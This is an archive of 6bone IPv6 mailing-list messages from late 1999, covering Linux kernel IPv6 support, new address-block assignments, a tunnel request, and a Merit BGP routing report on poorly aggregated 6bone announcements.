        "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: Re: Linux operating system kernel versions
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On Mon, Nov 22, 1999 at 08:03:58PM -0500, Gregg C Levine wrote:
> Hello from Gregg C Levine usually at Jedi Knight Computers
> What is the current version of the kernel for the Linux distributions, that 
> support IPv6? I see a driver/module for Slackware versions 4.0 to 7.0, and 
> those two, inconclusive are using version 2.0.34. Naturally the methods 

The current stable Linux kernel is 2.2 (latest is 2.2.13) and has IPv6
support, 2.0.34 is really old. I haven't followed Slackware lately, but
I'm surprised if the current Slackware uses 2.0. Most distributions will
give you a kernel image with IPv6 disabled, so you will probably have to
compile the kernel yourself, and say yes to IPv6.

If you have more questions, please ask.

Stig

-- 
Stig Venaas
UNINETT/NTNU

From 6bone-owner  Mon Nov 22 23:35:36 1999
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From: Brian Russo <brian@entropy.net>
To: Gregg C Levine <hansolofalcon@worldnet.att.net>
Cc: 6bone@ISI.EDU
Subject: Re: Linux operating system kernel versions
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On Mon, Nov 22, 1999 at 08:03:58PM -0500, Gregg C Levine wrote:
> Hello from Gregg C Levine usually at Jedi Knight Computers
> What is the current version of the kernel for the Linux distributions, th=
at=20
> support IPv6? I see a driver/module for Slackware versions 4.0 to 7.0, an=
d=20
> those two, inconclusive are using version 2.0.34. Naturally the methods=
=20
> described by that driver/module may not be current. I only need to know=
=20
> what the current kernel version is, that support IPv6.
> Gregg C Levine mailto:hansolofalcon@worldnet.att.net
The 2.2.x series has support for IPV6
Remember you will have to set CONFIG_EXPERIMENTAL when configuring the
kernel so that IPV6 support is available as an option.
hope this helps.

--=20
+-----------------------------------------------------------+
| Brian Russo 			<brian@entropy.net>         |
| UH High Energy Physics Group 	<brusso@phys.hawaii.edu>    |
| PGP Key Available at http://www.entropy.net/~brian/pgpkey |
+-----------------------------------------------------------+

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From: "Steinar H. Gunderson" <sgunderson@bigfoot.com>
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Subject: Re: Linux operating system kernel versions
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On Tue, Nov 23, 1999 at 05:29:58AM +0100, Rafal Maszkowski wrote:
>2.2.x or development (dangerous) version 2.3.x . Don't know about Slackware,
>RedHat 6.x includes kernels from 2.2 series but you have to compile it yourself
>from original or RedHat modified sources with IPv6 turned on.

Slackware 4.0 and up (at least) includes 2.2.x kernel. Slackware 7.0 and up
uses glibc2 instead of libc5 as the main C library.

/* Steinar */

From 6bone-owner  Tue Nov 23 00:27:52 1999
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Date: Tue, 23 Nov 1999 03:31:04 -0500 (EST)
From: Herman Strom <hermans@touro.edu>
To: 6bone <6bone@ISI.EDU>
cc: Rafal Maszkowski <rzm@icm.edu.pl>,
        Gregg C Levine <hansolofalcon@worldnet.att.net>
Subject: Re: Linux operating system kernel versions
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Hi!

I am working with Slackware 6.3-beta. It runs on Linux 2.2.12 and
glibc-2.1.1. Unfortunately, IPv6 Support in 2.2.x kernel has at least
two bugs: usage counter and local-link autoconfig don't work. I am on
linux-net@vger.rutger.edu list and I asked there afew question. One of
the people from Finland answered me. He has patches that fix the above
problems and also do few good thing besides it. But unfortunately,
again, the patch is old for Linux-2.1.131. And my finnish friend
doesn't have time to rewrite it.

Tell me if you want to do the job. And I will provide you with the
necessary information.

Thanks,

Herm

---------------------------------------
Herman Strom - Academic Computing Dept.
 Touro College <http://www.touro.edu/>

-- Contact me via: --------------------
  Check out my Personal Home Page at:
    <http://hermstrom.tripod.com/>
      email: <hermans@touro.edu>
       Work Phone: 718 871-7292
       Home Phone: 718 972-2173
---------------------------------------

On Tue, 23 Nov 1999, Rafal Maszkowski wrote:

 On Mon, Nov 22, 1999 at 08:03:58PM -0500, Gregg C Levine wrote:
 > Hello from Gregg C Levine usually at Jedi Knight Computers
 > What is the current version of the kernel for the Linux
 > distributions, that support IPv6? I see a driver/module for
 > Slackware versions 4.0 to 7.0, and 

 2.2.x or development (dangerous) version 2.3.x . Don't know about
 Slackware, RedHat 6.x includes kernels from 2.2 series but you have
 to compile it yourself from original or RedHat modified sources with
 IPv6 turned on.

 R.
 -- 
 Ale kto by my³ rêce po przywitaniu siê z mê¿em? - A. Fedorczyk


From 6bone-owner  Tue Nov 23 03:29:42 1999
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Date: Tue, 23 Nov 1999 12:29:57 +0100
To: Herman Strom <hermans@touro.edu>, 6bone <6bone@ISI.EDU>
Cc: Rafal Maszkowski <rzm@icm.edu.pl>,
        Gregg C Levine <hansolofalcon@worldnet.att.net>
Subject: Re: Linux operating system kernel versions
References: <19991123052958.D17971@burza.icm.edu.pl> <Pine.A41.4.10.9911230308070.15100-100000@academic.touro.edu>
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On Tue, Nov 23, 1999 at 03:31:04AM -0500, Herman Strom wrote:
> Hi!
> 
> I am working with Slackware 6.3-beta. It runs on Linux 2.2.12 and
> glibc-2.1.1. Unfortunately, IPv6 Support in 2.2.x kernel has at least
> two bugs: usage counter and local-link autoconfig don't work. I am on
> linux-net@vger.rutger.edu list and I asked there afew question. One of
> the people from Finland answered me. He has patches that fix the above
> problems and also do few good thing besides it. But unfortunately,
> again, the patch is old for Linux-2.1.131. And my finnish friend
> doesn't have time to rewrite it.
> 
> Tell me if you want to do the job. And I will provide you with the
> necessary information.

I'm not aware of these problems, give me the info and I'll have a look
at it.

Stig

-- 
Stig Venaas
UNINETT/NTNU

From 6bone-owner  Tue Nov 23 08:22:08 1999
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Subject: Re: Linux operating system kernel versions
To: hermans@touro.edu (Herman Strom)
Date: Tue, 23 Nov 1999 19:19:52 +0300 (MSK)
Cc: 6bone@ISI.EDU, rzm@icm.edu.pl, hansolofalcon@worldnet.att.net
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Hello!

> glibc-2.1.1. Unfortunately, IPv6 Support in 2.2.x kernel has at least
> two bugs: usage counter and local-link autoconfig don't work.

Please, explain.


> again, the patch is old for Linux-2.1.131. And my finnish friend
> doesn't have time to rewrite it.

Did your friend have time to submit the patch to maintainers?
If he does not, please, send it yourself in reply to this mail.

Alexey Kuznetsov

From 6bone-owner  Wed Nov 24 14:20:37 1999
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Date: Wed, 24 Nov 1999 16:47:35 -0500
From: "Whitmore, Timothy B" <timothy.b.whitmore@lmco.com>
To: "'6Bone List @ ISI'" <6bone@ISI.EDU>,
        "'Whitmore, Bruce & Joan'" <bruceb99@loxinfo.co.th>,
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http://www.nola.com/cgi-bin/nola_cards/getmycard.cgi?1.39552694703179e+17.ht
ml
Tim Whitmore
Network System Design
Lockheed Martin GES
tel:  (609) 722-7378
fax: (609) 273-5379

From 6bone-owner  Thu Nov 25 18:49:40 1999
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Date: Fri, 26 Nov 1999 11:45:29 +0900
From: Myung-Ki Shin <mkshin@pec.etri.re.kr>
Organization: ETRI
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Dear IPv6 members.

I'm Myung-Ki Shin from ETRI, Korea.

We got 2001:230::/35 sTLA block from APNIC.
Right now, We start renumbering from ETRI pTLA (3ffe:2e00::/24).

In addition, In near future,
we will assign the IPv6 addresses to IMT-2000
network and Cable network or ADSL ISPs in Korea.

Thanks,
Myung-Ki.
--
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Myung-Ki Shin |  mkshin@pec.etri.re.kr
ETRI/PEC      |  161 Kajong-Dong, Yusong-Gu,
              |  Taejon, 305-390, Korea
              |  Tel:+82-42-860-4847
              |  FAX:+82-42-861-5404
              |  http://pec.etri.re.kr/~mkshin/



From 6bone-owner  Thu Nov 25 23:53:30 1999
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Date: Fri, 26 Nov 1999 08:52:08 +0100
To: Myung-Ki Shin <mkshin@pec.etri.re.kr>, members@ipv6forum.com
From: Latif LADID <Latif.LADID@village.uunet.lu>
Subject: Re: ETRI, sTLA, 2001:230::/35 
Cc: 6bone@ISI.EDU
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Thanks Myung-Ki!

Congratulations!

Yes, we saw your announcement on the automatic counter,
see www.ipv6forum.com section project / assigned subTLAs
getting you to http://www.dfn.de/service/ipv6/ipv6aggis.html

The subTLA race is as follows:

Europe:   9
Asia    :   8
US      :   3

Total   :  20 in 4 months

What's wrong with the US? The land of of pioneers and leadership.....

R,

/Latif

At 11:45 AM 26/11/99 +0900, Myung-Ki Shin wrote:
>Dear IPv6 members.
>
>I'm Myung-Ki Shin from ETRI, Korea.
>
>We got 2001:230::/35 sTLA block from APNIC.
>Right now, We start renumbering from ETRI pTLA (3ffe:2e00::/24).
>
>In addition, In near future,
>we will assign the IPv6 addresses to IMT-2000
>network and Cable network or ADSL ISPs in Korea.
>
>Thanks,
>Myung-Ki.
>--
>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
>Myung-Ki Shin |  mkshin@pec.etri.re.kr
>ETRI/PEC      |  161 Kajong-Dong, Yusong-Gu,
>               |  Taejon, 305-390, Korea
>               |  Tel:+82-42-860-4847
>               |  FAX:+82-42-861-5404
>               |  http://pec.etri.re.kr/~mkshin/
>


From 6bone-owner  Sat Nov 27 12:35:49 1999
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From: "Dwayne C . Litzenberger" <dlitz@cheerful.com>
To: 6bone@ISI.EDU
Subject: newbie: need tunnel for dialup/dynamic
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--u3/rZRmxL6MmkK24
Content-Type: text/plain; charset=us-ascii
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I'm a relative newbie to IPv6, and I'd like to get my home network on the
6bone, but I have a dial-up dynamic IP address.  I'm running Linux 2.2, if
that matters.

Anyway, anyone know where I can get a good tunnel?

 2  mainrouter.cableregina.com (204.83.142.1)  119.862 ms  108.877 ms  129.=
921 ms
 3  spc-tor-8-Hssi9-1-1.Sprint-Canada.Net (206.186.248.29)  129.857 ms  128=
.881 ms  129.928 ms
 4  core-spc-tor-2-POS4-0-0.Sprint-Canada.Net (204.50.128.22)  154.534 ms  =
134.079 ms  149.870 ms
 5  204.50.128.38 (204.50.128.38)  129.889 ms  161.941 ms  146.845 ms
 6  sl-gw21-pen-6-0-0.sprintlink.net (144.228.178.29)  149.864 ms  138.838 =
ms  169.854 ms
 7  sl-bb13-pen-2-2.sprintlink.net (144.232.5.133)  179.843 ms  158.851 ms =
 195.503 ms


--=20
"I already have all the latest software."
     -- Laura Winslow, "Family Matters"

Dwayne C. Litzenberger - dlitz@cheerful.com

Please always Cc to me when replying to me on the lists.

Advertising Policy: http://DLitzPower.tripod.com/spamoff.htm
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From 6bone-owner  Sun Nov 28 14:35:14 1999
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Date: Sun, 28 Nov 1999 16:54:41 -0500 (EST)
From: "Robert J. Rockell" <rrockell@sprint.net>
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To: 6bone@ISI.EDU
Subject: some more help (fwd)
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These questions were posed to the IPv6 Forum, but I wanted to forward, as
this arena may be optimal for Operations Experience. Please feel free to
write to the original author directly. (jordi@consulintel.se) 

Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833
Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?

---------- Forwarded message ----------
Date: Sun, 28 Nov 1999 20:55:32 +0100
From: JORDI PALET MARTINEZ <jordi@consulintel.es>
To: IPv6 Deployment List <deployment@ipv6.org>, education@ipv6forum.com,
    tech@ipv6forum.com
Subject: some more help

>From the answers I got as response to my last email, I will like somebody taking a few minutes to describe the following problems:

- Multi-homing problem. What's the problem (from the user point of view), and what alternatives we have to solve it ?
- Is fixed length addressing the right approach ? why yes or why not ? Alternatives ?
- DHCPv6 according to the IETF DHCP WG (not for the IPng WG). What's the problem ?
- Use of scopes for unicast IPv6 addresses as far as nailing down how they are used and deployed. What this will mean ?
- Still need to deploy and test IPv6 Multicast protocols. It means that Multicast protocol isn't tested enough ?

I hope some of you can take a few minutes to describe your point of view on these issues, or provide me some direct links that already talk on these ...

I will like to finish this work before end of this week, so I can present the document on the next Berlin GIS.

Please copy to anybody that do you think can give a good think and isn't in these list ...

Thanks and best regards,

Jordi Palet
Consulintel

http://www.consulintel.es
Tel: 91 858 75 09 - Fax: 91 858 76 31



From 6bone-owner  Mon Nov 29 18:01:01 1999
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Date: Mon, 29 Nov 1999 17:58:24 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: new 6bone pTLA 3FFE:8080::/28 assigned to DTI
Cc: koji@dti.ad.jp, kay@v6.access.co.jp, Bill Manning <bmanning@ISI.EDU>
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I would like to announce the assignment of a pTLA to DTI(Dream Train 
Internet) in Japan, based on comments received during the open review 
period ending 29 November 1999.

---

DTI is the Dream Train Internet ISP in Japan.

3FFE:8080::/28
netname: DTI

<http://www.ip.qwest.net/~david/cgi-bin/whois?dti>

---

Welcome DTI to the 6bone backbone!

Bob


From 6bone-owner  Mon Nov 29 19:55:35 1999
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To: platini@fibertel.com.ar
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Subject: Re: bad routing
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Date: Mon, 29 Nov 1999 22:53:38 -0500
From: Masaki Hirabaru <masaki@merit.edu>
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Hi. Patricio,

>> >MERIT: Woudl it be possible to jog this report to start blaiming the AS who
>> >is at fault, rather than the pTLA who cannot fix it?

I thought request is reasonable, so I tried to find my time to
improve our report script. Today, I did it. New report will be
delivered later today. To do it, the script had to know which AS
is a backbone (pTLA). The information is retrieved from 6bone db
but it may be inaccurate or incomplete and there may be a
delay. (Since our report is not intended to blame someone, so
please allow this inaccuracy.)

The right most pTLA's AS (or the left most AS if there is no pTLA
AS) appeared in the path of a poorly aggregated prefix will be
listed to be a candidate who allows this first. If the pTLA
allows prefixes within its pTLA, the entry will be listed with
"*".  (Note that even if the pTLA fixes its filter, the same
route may be appeared through another pTLA in the next report.)

I also modified a part of the report which lists reserved AS
numbers used in 6bone. This part now lists unknown AS numbers
that are not registered in 6bone db. (This will result in listing
reserved AS numbers, too.)

The same modification was applied to unknown prefixes. It now
lists prefixes not registered in 6bone db.

I hope this helps 6bone hardening.
Masaki
IPMA Project

Here is a part of the report generated with data up to now today.

> Subject: 11/29/99 6Bone Routing Report
> To: 6bone-routing-report@merit.edu
> From: owner-6bone-routing-report@merit.edu
> 
> See http://www.merit.edu/ipma for a more detailed report on routing 
> problems and recommendations on ways service providers can limit the 
> spread of invalid routing information.
> Send comments and questions to ipma-support@merit.edu
> 
> To unsubscribe from this list, send mail to 
>     6bone-routing-report-request@merit.edu.
> A hypermail archive is available at
>     http://www.merit.net/mail.archives/html/6bone-routing-report/
> 
> Also see http://www.caida.org for more information about Internet 
> statistics collection research efforts.
> 
> ---------------------------------------------
> This report is for 11/29/99, peering with
>   VIAGENIE (AS10566)  CISCO (AS109)  IDIR (AS11264)  CICNET (AS1225)  WIDE (AS2500)  SICS (AS2839)  MIT-SIPB (AS3)  TELEBIT (AS3263)  ETRI (AS3559)  CERNET (AS4538)  6COM (AS561)  MSR-REDMOND (AS5761)  UUNET-US (AS704)  CAIRN (AS7081)  NUS-IRDU (AS7610)  RADIX (AS7680)
> ---------------------------------------------
> 
> Size of 6Bone Routing Table:
>     Max = 97, Min = 94, Average = 94
>     60 pTLAs (in 3ffe::/16), 7 sTLAs (in 2001::/16)
>     83 Unique Autonomous System (AS) numbers
> 
> BGP4+ Traffic Summary:  
>     Announcements = 200865    Withdraws = 32470   Unique Routes = 109
> 
> Unknown AS Numbers (not in 6bone registry):
> Format: AS-Path (Unknown-AS-Number -- Availability)
> --------------------------------
>   10566 1930 3243 (3243 -- 100%)
>   1225 1275 559 8933 1122 (1122 -- 48%)
>   1225 1849 1103 766 8933 1122 1121 (1122 1121 -- 26%)
>   3 145 4557 (4557 -- 35%)
>   3 145 6509 (6509 -- 1%)
>   561 5408 10566 6509 818 (6509 818 -- 29%)
> 
> Unknown Prefixes (not in 6bone registry):
> Format: Prefix path AS-Path (Origin-AS -- Availability)
> --------------------------------
>   0000::/0 path 1225 1673 (ANSNET -- 0%)
>   0000::/0 path 561 5408 1752 3185 786 1103 1849 4697 (NTT-ECL -- -71%)
>   0200::/1 path 10566 5408 1752 3185 786 1103 1849 4697 (NTT-ECL -- 30%)
>   1000::/4 path 561 5408 10566 237 1225 1673 (ANSNET -- 8%)
>   1800::/4 path 1225 1673 (ANSNET -- 0%)
>   2000::/6 path 109 1251 1930 10566 5408 1752 3185 786 2547 2547 1225 1673 237 7610 3425 2500 (WIDE -- 47%)
>   2002::/16 path 5761 (MSR-REDMOND -- 100%)
>   5f0c:bf00::/32 path 7610 3462 3263 (TELEBIT -- 2%)
>   ::35e0/120 path 7610 3462 3263 (TELEBIT -- 2%)
> 
> Poorly Aggregated Announcements (>24 in 3ffe:0000::/17 or >28 in 3ffe:8000::/17 or >35 in 2001::/16):
> Format: Prefix path AS-Path (Origin-AS -- Availability)
>  asterisk(*) means the route is within its pTLA
> --------------------------------
> SWITCH (AS559) announced 4 route(s)
>     3ffe:8034:80::/48 path 1225 1275 559 8933 1122 ( -- 48%)
>     3ffe:1108:800::/40 path 1225 1275 559 8933 3172 (USOT-ECS -- 48%)
>     3ffe:8038::/34 path 1225 1275 559 8933 (QTPVSIX -- 48%)
>     3ffe:803c::/34 path 1225 1275 559 8933 3172 (USOT-ECS -- 48%)
> 
> CICNET (AS1225) announced 4 route(s)
>   * 3ffe:900:1::/48 path 1225 1312 (LORE/VT -- 99%)
>   * 3ffe:900:2::/48 path 1225 3899 (CHICO -- 100%)
>     3ffe:2900:5::/48 path 1225 1312 (LORE/VT -- 99%)
>     3ffe:2802::/32 path 1225 1312 (LORE/VT -- 99%)
> 
> SICS (AS2839) announced 4 route(s)
>     3ffe:2610:2::/48 path 2839 3274 8432 (TF-INET-DEV -- 100%)
>     3ffe:2610:5::/48 path 2839 3274 5469 (AHLSTROM -- 100%)
>     3ffe:1001:60::/48 path 2839 3274 3336 (HTC -- 100%)
>     3ffe:2620::/32 path 2839 1741 (FUNET/OTOL/VTTMPOLI -- 95%)
> 
> IPF (AS5409) announced 3 route(s)
>     3ffe:3001:3::/48 path 109 5409 8731 8251 (CISTRON -- 98%)
>     3ffe:604:5::/48 path 109 5409 8731 8251 (CISTRON -- 98%)
>   * 3ffe:3400:100::/48 path 109 5409 8731 (SGH-NET -- 98%)
> 
> MIT-SIPB (AS3) announced 3 route(s)
>     3ffe:28ff:4::/48 path 3 (MIT-SIPB -- 80%)
>     3ffe:2801::/32 path 3 145 5050 (PSC-GP -- 80%)
>     3ffe:2803::/32 path 3 145 4557 ( -- 35%)
> 
> JOIN (AS1275) announced 2 route(s)
>     3ffe:2100:1:17::/64 path 1225 1275 (JOIN -- 88%)
>     3ffe:3400:300::/48 path 1225 1275 5424 (GST/RMACH/FX/CHRIST/LAX/JSB/FIDENTIA-AT/WAECHTER-AT/GEORG-AT/TIVISION-AT/T0-AT/COGIDATA-AT/TCTL-AT/MEDHOST-AT/SWSCHMIEDE-AT/ENEMY-AT/DUNSHIRN-AT/ATNET-AT -- 12%)
> 
> REDIRIS (AS766) announced 1 route(s)
>     3ffe:8034:c0::/48 path 1225 1849 1103 766 8933 1122 1121 ( -- 26%)
> 
> VIAGENIE (AS10566) announced 1 route(s)
>     3ffe:400:d0::/47 path 561 5408 10566 6509 818 ( -- 29%)
> 
> RCCN (AS1930) announced 1 route(s)
>   * 3ffe:3102::/48 path 10566 1930 3243 ( -- 100%)
> 
> TELEBIT (AS3263) announced 1 route(s)
>     3ffe:2280:4::/48 path 7610 3462 3263 2852 (CESNET -- 2%)
> 
> BT-LABS (AS1752) announced 1 route(s)
>     3ffe:2101::/48 path 10566 5408 1752 3185 (ULANC -- 99%)
> 
> REGIO-DE (AS8319) announced 1 route(s)
>     3ffe:400:1c0::/48 path 2839 3274 8319 (REGIO-DE -- 100%)
> 
> GRNET (AS5408) announced 1 route(s)
>   * 3ffe:2d00:b::/48 path 10566 5408 8617 (AEGEAN -- 99%)
> 
> SPACENET-DE (AS5539) announced 1 route(s)
>     3ffe:1402:1:1::/64 path 1225 1103 5539 1273 (NAHENET/ECRC -- 20%)
> 
> ICM-PL (AS8664) announced 1 route(s)
>     3ffe:902::/32 path 1225 8664 (ICM-PL -- 98%)
> 
> UUNET-US (AS704) announced 1 route(s)
>     3ffe:1108:1400::/40 path 704 (UUNET-US -- 100%)
> 
> 6COM (AS561) announced 1 route(s)
>   * 3ffe:1900:9::/48 path 561 11261 (ASCI -- 66%)
> 
> Prefixes from Different Origin AS:
> Format: Prefix path AS-Path (Origin-AS -- Availability)
> --------------------------------
>   BAY (3ffe:1300::/24) path 561 10318 (FIBERTEL -- 59%)
>   BAY (3ffe:1300::/24) path 1225 6175 (SPRINT -- 100%)
>   VIAGENIE (3ffe:b00::/24) path 10566 (VIAGENIE -- 100%)
>   VIAGENIE (3ffe:b00::/24) path 3 145 6509 ( -- 1%)
> 
> The Top Five Most Active Prefixes (more than 1000 changes):
> Format: AS-Path (Announce/Withdraw -- Availability)
> ----------------------------------
> 1. SICS (3ffe:200::/24) had 31737 BGP+ updates (28 unique aspaths)
>   2839 (904/0 -- 100%)
>   7610 3425 293 5609 2839 (49/2 -- 98%)
>   3 10566 6175 3274 2839 (3904/8 -- 98%)
>   2500 2500 2500 33 5609 2839 (27/15 -- 70%)
>   109 33 5609 2839 (3/0 -- 69%)
>   7081 293 5609 2839 (4540/1627 -- 42%)
>   10566 6175 3274 2839 (3955/909 -- 29%)
>   5761 6175 3274 2839 (897/891 -- 29%)
>   109 1849 5623 2839 (1/0 -- 28%)
>   561 10318 1849 5623 2839 (5/5 -- 26%)
>   1225 1275 1835 2839 (995/417 -- 15%)
>   ...Truncated...
> 
> 2. G6 (3ffe:300::/24) had 16546 BGP+ updates (29 unique aspaths)
>   10566 1930 559 1717 (4415/60 -- 99%)
>   2839 1835 1717 (888/0 -- 99%)
>   3 10566 1930 559 1717 (4397/21 -- 98%)
>   7081 5409 559 1717 (1173/3 -- 97%)
>   1225 1275 1717 (948/4 -- 88%)
>   109 1849 786 1717 (3/0 -- 72%)
>   7610 3425 293 1275 1717 (49/0 -- 66%)
>   2500 2500 2500 109 1849 786 1717 (10/10 -- 53%)
>   7610 1849 786 1717 (3/1 -- 32%)
>   109 5409 559 1717 (2/0 -- 27%)
>   561 10318 1849 786 1717 (2/2 -- 26%)
>   ...Truncated...
> 
> 3. UIO (3ffe:2a00::/24) had 15200 BGP+ updates (68 unique aspaths)
>   2839 224 (887/0 -- 100%)
>   7610 3425 293 5609 2839 224 (49/1 -- 98%)
>   3 10566 6175 3274 2839 224 (2735/1 -- 98%)
>   2500 2500 2500 33 5609 2839 224 (28/16 -- 70%)
>   7081 293 5609 2839 224 (2234/0 -- 58%)
>   109 33 5609 2839 224 (3/0 -- 47%)
>   7081 6175 3274 2839 224 (234/1 -- 41%)
>   10566 6175 3274 2839 224 (2772/892 -- 30%)
>   5761 6175 3274 2839 224 (880/735 -- 30%)
>   109 1849 5623 2839 224 (2/0 -- 20%)
>   1225 1275 1835 2839 224 (1002/288 -- 15%)
>   ...Truncated...
> 
> 4. UNI-C (3ffe:1400::/24) had 15039 BGP+ updates (51 unique aspaths)
>   2839 1835 (901/0 -- 99%)
>   7610 3425 293 1275 1835 (46/1 -- 96%)
>   1225 1275 1835 (782/21 -- 83%)
>   7081 293 1275 1835 (469/3 -- 78%)
>   2500 2500 2500 33 3462 3263 1835 (25/15 -- 70%)
>   3 10566 1930 559 1717 1835 (1658/1 -- 70%)
>   109 5409 559 1717 1835 (6/0 -- 63%)
>   561 5609 2839 1835 (5/5 -- 35%)
>   3 10566 1930 559 1275 1835 (386/0 -- 27%)
>   7081 5409 559 1717 1835 (1284/3 -- 21%)
>   109 5409 559 1275 1835 (1/0 -- 20%)
>   ...Truncated...
> 
> 5. JOIN (3ffe:400::/24) had 8777 BGP+ updates (26 unique aspaths)
>   4538 1275 (6/1 -- 100%)
>   2839 1835 1275 (663/0 -- 92%)
>   1225 1275 (949/0 -- 88%)
>   7610 3425 293 1275 (49/0 -- 66%)
>   2500 2500 2500 33 1225 1275 (803/599 -- 61%)
>   109 4556 1225 1275 (3/0 -- 60%)
>   10566 5408 559 1275 (422/3 -- 50%)
>   10566 1930 559 1275 (3356/0 -- 49%)
>   7081 293 1275 (16/0 -- 47%)
>   561 5609 1225 1275 (4/3 -- 45%)
>   3 145 7081 293 1275 (1/0 -- 33%)
>   ...Truncated...
> 
> 

From 6bone-owner  Mon Nov 29 20:32:30 1999
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Date: Mon, 29 Nov 1999 23:32:21 -0500 (EST)
From: "Robert J. Rockell" <rrockell@sprint.net>
X-Sender: rrockell@iscone
To: Masaki Hirabaru <masaki@merit.edu>
cc: platini@fibertel.com.ar, 6bone@ISI.EDU
Subject: Re: bad routing
In-Reply-To: <19991129225338Y.masaki@merit.edu>
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This will go a long way to improving the stability of the 6bone as a whole
Thank you very much. 

p.s. if you still want to run the old report, it will give pTLA's the chance
to pressure downstreams that are leaking. Thanks again!! 

Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833
Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?

On Mon, 29 Nov 1999, Masaki Hirabaru wrote:

->Hi. Patricio,
->
->>> >MERIT: Woudl it be possible to jog this report to start blaiming the AS who
->>> >is at fault, rather than the pTLA who cannot fix it?
->
->I thought request is reasonable, so I tried to find my time to
->improve our report script. Today, I did it. New report will be
->delivered later today. To do it, the script had to know which AS
->is a backbone (pTLA). The information is retrieved from 6bone db
->but it may be inaccurate or incomplete and there may be a
->delay. (Since our report is not intended to blame someone, so
->please allow this inaccuracy.)
->
->The right most pTLA's AS (or the left most AS if there is no pTLA
->AS) appeared in the path of a poorly aggregated prefix will be
->listed to be a candidate who allows this first. If the pTLA
->allows prefixes within its pTLA, the entry will be listed with
->"*".  (Note that even if the pTLA fixes its filter, the same
->route may be appeared through another pTLA in the next report.)
->
->I also modified a part of the report which lists reserved AS
->numbers used in 6bone. This part now lists unknown AS numbers
->that are not registered in 6bone db. (This will result in listing
->reserved AS numbers, too.)
->
->The same modification was applied to unknown prefixes. It now
->lists prefixes not registered in 6bone db.
->
->I hope this helps 6bone hardening.
->Masaki
->IPMA Project
->
->Here is a part of the report generated with data up to now today.
->
->> Subject: 11/29/99 6Bone Routing Report
->> To: 6bone-routing-report@merit.edu
->> From: owner-6bone-routing-report@merit.edu
->> 
->> See http://www.merit.edu/ipma for a more detailed report on routing 
->> problems and recommendations on ways service providers can limit the 
->> spread of invalid routing information.
->> Send comments and questions to ipma-support@merit.edu
->> 
->> To unsubscribe from this list, send mail to 
->>     6bone-routing-report-request@merit.edu.
->> A hypermail archive is available at
->>     http://www.merit.net/mail.archives/html/6bone-routing-report/
->> 
->> Also see http://www.caida.org for more information about Internet 
->> statistics collection research efforts.
->> 
->> ---------------------------------------------
->> This report is for 11/29/99, peering with
->>   VIAGENIE (AS10566)  CISCO (AS109)  IDIR (AS11264)  CICNET (AS1225)  WIDE (AS2500)  SICS (AS2839)  MIT-SIPB (AS3)  TELEBIT (AS3263)  ETRI (AS3559)  CERNET (AS4538)  6COM (AS561)  MSR-REDMOND (AS5761)  UUNET-US (AS704)  CAIRN (AS7081)  NUS-IRDU (AS761
0)  RADIX (AS7680)
->> ---------------------------------------------
->> 
->> Size of 6Bone Routing Table:
->>     Max = 97, Min = 94, Average = 94
->>     60 pTLAs (in 3ffe::/16), 7 sTLAs (in 2001::/16)
->>     83 Unique Autonomous System (AS) numbers
->> 
->> BGP4+ Traffic Summary:  
->>     Announcements = 200865    Withdraws = 32470   Unique Routes = 109
->> 
->> Unknown AS Numbers (not in 6bone registry):
->> Format: AS-Path (Unknown-AS-Number -- Availability)
->> --------------------------------
->>   10566 1930 3243 (3243 -- 100%)
->>   1225 1275 559 8933 1122 (1122 -- 48%)
->>   1225 1849 1103 766 8933 1122 1121 (1122 1121 -- 26%)
->>   3 145 4557 (4557 -- 35%)
->>   3 145 6509 (6509 -- 1%)
->>   561 5408 10566 6509 818 (6509 818 -- 29%)
->> 
->> Unknown Prefixes (not in 6bone registry):
->> Format: Prefix path AS-Path (Origin-AS -- Availability)
->> --------------------------------
->>   0000::/0 path 1225 1673 (ANSNET -- 0%)
->>   0000::/0 path 561 5408 1752 3185 786 1103 1849 4697 (NTT-ECL -- -71%)
->>   0200::/1 path 10566 5408 1752 3185 786 1103 1849 4697 (NTT-ECL -- 30%)
->>   1000::/4 path 561 5408 10566 237 1225 1673 (ANSNET -- 8%)
->>   1800::/4 path 1225 1673 (ANSNET -- 0%)
->>   2000::/6 path 109 1251 1930 10566 5408 1752 3185 786 2547 2547 1225 1673 237 7610 3425 2500 (WIDE -- 47%)
->>   2002::/16 path 5761 (MSR-REDMOND -- 100%)
->>   5f0c:bf00::/32 path 7610 3462 3263 (TELEBIT -- 2%)
->>   ::35e0/120 path 7610 3462 3263 (TELEBIT -- 2%)
->> 
->> Poorly Aggregated Announcements (>24 in 3ffe:0000::/17 or >28 in 3ffe:8000::/17 or >35 in 2001::/16):
->> Format: Prefix path AS-Path (Origin-AS -- Availability)
->>  asterisk(*) means the route is within its pTLA
->> --------------------------------
->> SWITCH (AS559) announced 4 route(s)
->>     3ffe:8034:80::/48 path 1225 1275 559 8933 1122 ( -- 48%)
->>     3ffe:1108:800::/40 path 1225 1275 559 8933 3172 (USOT-ECS -- 48%)
->>     3ffe:8038::/34 path 1225 1275 559 8933 (QTPVSIX -- 48%)
->>     3ffe:803c::/34 path 1225 1275 559 8933 3172 (USOT-ECS -- 48%)
->> 
->> CICNET (AS1225) announced 4 route(s)
->>   * 3ffe:900:1::/48 path 1225 1312 (LORE/VT -- 99%)
->>   * 3ffe:900:2::/48 path 1225 3899 (CHICO -- 100%)
->>     3ffe:2900:5::/48 path 1225 1312 (LORE/VT -- 99%)
->>     3ffe:2802::/32 path 1225 1312 (LORE/VT -- 99%)
->> 
->> SICS (AS2839) announced 4 route(s)
->>     3ffe:2610:2::/48 path 2839 3274 8432 (TF-INET-DEV -- 100%)
->>     3ffe:2610:5::/48 path 2839 3274 5469 (AHLSTROM -- 100%)
->>     3ffe:1001:60::/48 path 2839 3274 3336 (HTC -- 100%)
->>     3ffe:2620::/32 path 2839 1741 (FUNET/OTOL/VTTMPOLI -- 95%)
->> 
->> IPF (AS5409) announced 3 route(s)
